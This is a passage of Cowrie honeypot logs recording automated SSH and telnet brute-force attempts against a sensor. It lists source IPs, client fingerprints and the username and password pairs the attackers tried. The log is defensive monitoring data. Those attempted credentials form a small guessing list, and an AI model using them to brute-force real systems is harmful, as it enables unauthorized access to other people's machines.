p14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:26:47.713403Z","src_ip":"213.21.248.43","session":"efa3a291733f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssword01!","message":"login attempt [root/P@ssword01!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:26:48.062840Z","src_ip":"213.21.248.43","session":"efa3a291733f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:26:49.143943Z","src_ip":"213.21.248.43","session":"efa3a291733f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":46256,"dst_ip":"10.17.0.5","dst_port":22,"session":"d037ccdb6bfa","protocol":"ssh","message":"New connection: 109.237.96.109:46256 (10.17.0.5:22) [session: d037ccdb6bfa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:26:52.113746Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:26:52.117239Z","src_ip":"109.237.96.109","session":"d037ccdb6bfa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:26:52.207878Z","src_ip":"109.237.96.109","session":"d037ccdb6bfa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1230321","message":"login attempt [root/1230321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:26:52.480564Z","src_ip":"109.237.96.109","session":"d037ccdb6bfa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:26:53.619005Z","src_ip":"109.237.96.109","session":"d037ccdb6bfa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.12.251.137","src_port":43794,"dst_ip":"10.17.0.5","dst_port":22,"session":"2b8ffea2b124","protocol":"ssh","message":"New connection: 198.12.251.137:43794 (10.17.0.5:22) [session: 2b8ffea2b124]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:26:59.768401Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:26:59.771968Z","src_ip":"198.12.251.137","session":"2b8ffea2b124","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:26:59.837328Z","src_ip":"198.12.251.137","session":"2b8ffea2b124","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jakarta","password":"JKT#Ethereum@P@ss99","message":"login attempt [jakarta/JKT#Ethereum@P@ss99] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:27:00.044378Z","src_ip":"198.12.251.137","session":"2b8ffea2b124","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:27:01.115191Z","src_ip":"198.12.251.137","session":"2b8ffea2b124","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":60158,"dst_ip":"159.203.135.109","dst_port":23,"session":"de51bcda7e9c","protocol":"telnet","message":"New connection: 137.184.5.188:60158 (159.203.135.109:23) [session: de51bcda7e9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:27:10.372941Z"}
{"eventid":"cowrie.session.closed","duration":3.332066774368286,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:27:13.704860Z","src_ip":"137.184.5.188","session":"de51bcda7e9c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"154.221.25.72","src_port":42604,"dst_ip":"159.203.135.109","dst_port":22,"session":"c99bea74058a","protocol":"ssh","message":"New connection: 154.221.25.72:42604 (159.203.135.109:22) [session: c99bea74058a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:27:25.936604Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:27:25.940077Z","src_ip":"154.221.25.72","session":"c99bea74058a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:27:26.144425Z","src_ip":"154.221.25.72","session":"c99bea74058a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"1234567","message":"login attempt [guest/1234567] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:27:26.992258Z","src_ip":"154.221.25.72","session":"c99bea74058a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:27:28.207840Z","src_ip":"154.221.25.72","session":"c99bea74058a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.19.117.129","src_port":52968,"dst_ip":"159.203.135.109","dst_port":22,"session":"8c994bf726a0","protocol":"ssh","message":"New connection: 139.19.117.129:52968 (159.203.135.109:22) [session: 8c994bf726a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:27:37.282046Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:27:37.286335Z","src_ip":"139.19.117.129","session":"8c994bf726a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f1e5e9d24e5e345e8745613bde22d532","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f1e5e9d24e5e345e8745613bde22d532","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:27:37.376158Z","src_ip":"139.19.117.129","session":"8c994bf726a0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ed:f4:28:10:b0:5b:9a:3e:fc:8d:08:f8:6d:21:90:97","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDa6AGNB9JlprameL4owv03Gnrf9iKoeaytF+cW0QFILXNM7tg8B8FTLk94pQVqrRMPy6/Bu7RKEKssoV5bNzxpQ1hnSF+plOGIV2fe78WwLyz2KjGeLPltUMaTSqtckvmGXQwKek310ZqMlNEVpsYl5yK14AGKArj2chHdsltxsQV/4du4X0PK6OHUPiIm3hNBq0K+A6eA2zinUl5FOGcMxG+X8kc0CtRsiLl0lXjrayYJGmU+U9afU0SHNdzoh/QhNA4vmIvkwcTiC9BkuyXi8Mkfv2wtm8FVjyqmMqpw7wgSrbjOTPDzgz5YoVHSyYS3z/UGFTgh0gtBvCQ4yx57TabXIbQBK2K0EOXBnEMz6eZSd8zgA2lqlsj5grMM8ny1HBH4XEb++W6TdsLmFFvSx+G/WhtJrClXtUqZPp5PbXa8xKFMh5/Jhc/aggNelI3CrBAu7QCI4hJhxTRZ0JCGnOATqgnNkSnK71sfvHLAQdJoWGB2FKtRMzeDSIzgdXM=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ed:f4:28:10:b0:5b:9a:3e:fc:8d:08:f8:6d:21:90:97","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:27:37.559971Z","src_ip":"139.19.117.129","session":"8c994bf726a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ed:f4:28:10:b0:5b:9a:3e:fc:8d:08:f8:6d:21:90:97","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDa6AGNB9JlprameL4owv03Gnrf9iKoeaytF+cW0QFILXNM7tg8B8FTLk94pQVqrRMPy6/Bu7RKEKssoV5bNzxpQ1hnSF+plOGIV2fe78WwLyz2KjGeLPltUMaTSqtckvmGXQwKek310ZqMlNEVpsYl5yK14AGKArj2chHdsltxsQV/4du4X0PK6OHUPiIm3hNBq0K+A6eA2zinUl5FOGcMxG+X8kc0CtRsiLl0lXjrayYJGmU+U9afU0SHNdzoh/QhNA4vmIvkwcTiC9BkuyXi8Mkfv2wtm8FVjyqmMqpw7wgSrbjOTPDzgz5YoVHSyYS3z/UGFTgh0gtBvCQ4yx57TabXIbQBK2K0EOXBnEMz6eZSd8zgA2lqlsj5grMM8ny1HBH4XEb++W6TdsLmFFvSx+G/WhtJrClXtUqZPp5PbXa8xKFMh5/Jhc/aggNelI3CrBAu7QCI4hJhxTRZ0JCGnOATqgnNkSnK71sfvHLAQdJoWGB2FKtRMzeDSIzgdXM=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:27:37.564714Z","src_ip":"139.19.117.129","session":"8c994bf726a0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ed:f4:28:10:b0:5b:9a:3e:fc:8d:08:f8:6d:21:90:97","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDa6AGNB9JlprameL4owv03Gnrf9iKoeaytF+cW0QFILXNM7tg8B8FTLk94pQVqrRMPy6/Bu7RKEKssoV5bNzxpQ1hnSF+plOGIV2fe78WwLyz2KjGeLPltUMaTSqtckvmGXQwKek310ZqMlNEVpsYl5yK14AGKArj2chHdsltxsQV/4du4X0PK6OHUPiIm3hNBq0K+A6eA2zinUl5FOGcMxG+X8kc0CtRsiLl0lXjrayYJGmU+U9afU0SHNdzoh/QhNA4vmIvkwcTiC9BkuyXi8Mkfv2wtm8FVjyqmMqpw7wgSrbjOTPDzgz5YoVHSyYS3z/UGFTgh0gtBvCQ4yx57TabXIbQBK2K0EOXBnEMz6eZSd8zgA2lqlsj5grMM8ny1HBH4XEb++W6TdsLmFFvSx+G/WhtJrClXtUqZPp5PbXa8xKFMh5/Jhc/aggNelI3CrBAu7QCI4hJhxTRZ0JCGnOATqgnNkSnK71sfvHLAQdJoWGB2FKtRMzeDSIzgdXM=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ed:f4:28:10:b0:5b:9a:3e:fc:8d:08:f8:6d:21:90:97","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:27:37.657202Z","src_ip":"139.19.117.129","session":"8c994bf726a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ed:f4:28:10:b0:5b:9a:3e:fc:8d:08:f8:6d:21:90:97","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDa6AGNB9JlprameL4owv03Gnrf9iKoeaytF+cW0QFILXNM7tg8B8FTLk94pQVqrRMPy6/Bu7RKEKssoV5bNzxpQ1hnSF+plOGIV2fe78WwLyz2KjGeLPltUMaTSqtckvmGXQwKek310ZqMlNEVpsYl5yK14AGKArj2chHdsltxsQV/4du4X0PK6OHUPiIm3hNBq0K+A6eA2zinUl5FOGcMxG+X8kc0CtRsiLl0lXjrayYJGmU+U9afU0SHNdzoh/QhNA4vmIvkwcTiC9BkuyXi8Mkfv2wtm8FVjyqmMqpw7wgSrbjOTPDzgz5YoVHSyYS3z/UGFTgh0gtBvCQ4yx57TabXIbQBK2K0EOXBnEMz6eZSd8zgA2lqlsj5grMM8ny1HBH4XEb++W6TdsLmFFvSx+G/WhtJrClXtUqZPp5PbXa8xKFMh5/Jhc/aggNelI3CrBAu7QCI4hJhxTRZ0JCGnOATqgnNkSnK71sfvHLAQdJoWGB2FKtRMzeDSIzgdXM=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:27:37.659771Z","src_ip":"139.19.117.129","session":"8c994bf726a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.0","message":"Connection lost after 10.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:27:47.282265Z","src_ip":"139.19.117.129","session":"8c994bf726a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"143.20.185.207","src_port":48830,"dst_ip":"10.17.0.5","dst_port":22,"session":"0e4624016891","protocol":"ssh","message":"New connection: 143.20.185.207:48830 (10.17.0.5:22) [session: 0e4624016891]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:27:57.191660Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:27:57.195485Z","src_ip":"143.20.185.207","session":"0e4624016891","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:27:57.309662Z","src_ip":"143.20.185.207","session":"0e4624016891","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"RASYAXINSA4VCPU8GBAMD","message":"login attempt [root/RASYAXINSA4VCPU8GBAMD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:27:57.652951Z","src_ip":"143.20.185.207","session":"0e4624016891","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:27:58.769593Z","src_ip":"143.20.185.207","session":"0e4624016891","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":49230,"dst_ip":"159.203.135.109","dst_port":22,"session":"c73b1c45a86f","protocol":"ssh","message":"New connection: 51.250.105.222:49230 (159.203.135.109:22) [session: c73b1c45a86f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:27:59.713088Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:27:59.719794Z","src_ip":"51.250.105.222","session":"c73b1c45a86f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:27:59.842831Z","src_ip":"51.250.105.222","session":"c73b1c45a86f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:28:00.214608Z","src_ip":"51.250.105.222","session":"c73b1c45a86f","protocol":"ssh"}
